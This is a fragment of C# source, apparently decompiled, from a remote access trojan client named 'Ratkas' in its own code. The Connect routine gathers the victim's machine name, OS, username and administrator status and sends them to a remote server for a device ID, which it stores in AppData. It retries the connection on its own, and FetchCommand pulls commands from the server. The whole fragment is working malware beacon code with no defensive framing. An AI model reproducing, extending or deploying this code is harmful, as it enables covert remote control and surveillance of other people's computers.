public static NameValueCollection AddAuth(NameValueCollection Data, string Username = "******", string Password = "******") { PHPC.Vodka data = new PHPC.Vodka(); data.Add("user", Username); data.Add("pswd", Password); Data.Add("Client-Auth", PHPC.Vodka.Encode(data)); return(Data); }
public string FetchCommand(int Command) { PHPC.Vodka data = new PHPC.Vodka(); data = this.Hook(data); data.Add("udid", this.UDID); data.Add("request", "get_command"); data.Add("commandid", Command.ToString()); return(this.PHPC_Client.SendRequest(data)); }
public void Connect() { try { ComputerInfo info = new ComputerInfo(); this.WriteToDebugLog(" -- Start Debug Info -- "); this.WriteToDebugLog($" Machine: {Environment.MachineName}"); this.WriteToDebugLog($" Version: {Environment.OSVersion.VersionString}"); this.WriteToDebugLog($" OS Name: {info.OSFullName}"); this.WriteToDebugLog($" Username: {Environment.UserName}"); this.WriteToDebugLog($" Working Directory: {Environment.CurrentDirectory}"); this.WriteToDebugLog($" Is Rooted: {new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)}"); this.WriteToDebugLog(" -- End Debug Info -- "); if (this.Configuration.GetKeyValue("connection", "udid") == "None") { this.WriteToDebugLog("UDID Required, Requesting UDID From server..."); PHPC.Vodka data = new PHPC.Vodka(); data = this.Hook(data); data.Add("request", "getudid"); data.Add("machine", Environment.MachineName); data.Add("version", info.OSVersion); data.Add("username", Environment.UserName); data.Add("osname", info.OSFullName); string str = this.PHPC_Client.SendRequest(data); if (str.ToLower().Contains("request;success")) { string str2 = str.ToLower().Replace("request;success ", ""); this.WriteToDebugLog($"UDID Created! {str2}"); this.Configuration.SetKeyValue("connection", "udid", str2); this.Configuration.Save($"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}/SQLiConfig.dat"); this.WriteToDebugLog("A connection is made to the server!"); this.UDID = str2; } else { this.WriteToDebugLog("Fatal Error: Unknown response from the server, Restart payload after 5 seconds..."); Thread.Sleep(0x1388); this.Connect(); } } else { this.WriteToDebugLog("Checking if UDID exists on the server..."); PHPC.Vodka vodka2 = new PHPC.Vodka(); vodka2 = this.Hook(vodka2); vodka2.Add("request", "verify"); vodka2.Add("udid", this.Configuration.GetKeyValue("connection", "udid")); string str3 = this.PHPC_Client.SendRequest(vodka2); if (str3.ToLower().Contains("request;success")) { this.WriteToDebugLog("UDID OK"); this.WriteToDebugLog("A connection is made to the server!"); this.UDID = this.Configuration.GetKeyValue("connection", "udid"); } else if (str3.ToLower().Contains("request;failure")) { this.WriteToDebugLog("UDID Doesn't exist on remote server, Creating one now."); vodka2.Clear(); vodka2 = this.Hook(vodka2); vodka2.Add("request", "getudid"); vodka2.Add("machine", Environment.MachineName); vodka2.Add("version", info.OSVersion); vodka2.Add("username", Environment.UserName); vodka2.Add("osname", info.OSFullName); str3 = this.PHPC_Client.SendRequest(vodka2); if (str3.ToLower().Contains("request;success")) { string str4 = str3.ToLower().Replace("request;success ", ""); this.WriteToDebugLog($"UDID Created! {str4}"); this.Configuration.SetKeyValue("connection", "udid", str4); this.Configuration.Save($"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}/SQLiConfig.dat"); this.WriteToDebugLog("A connection is made to the server!"); this.UDID = str4; } } else { this.WriteToDebugLog("Fatal Error: Unknown response from the server, Restart payload after 5 seconds..."); Thread.Sleep(0x1b58); MainModule.Main(); } } } catch (Exception exception1) { ProjectData.SetProjectError(exception1); Exception exception = exception1; Interaction.MsgBox($"There was an critical error while trying to initialize the network driver{Environment.NewLine}{Environment.NewLine}Error:{exception.Message}", MsgBoxStyle.ApplicationModal, null); ProjectData.ClearProjectError(); } }
public PHPC.Vodka Hook(PHPC.Vodka Data) { Data.Add("command", "hook"); Data.Add("program", "Ratkas"); return(Data); }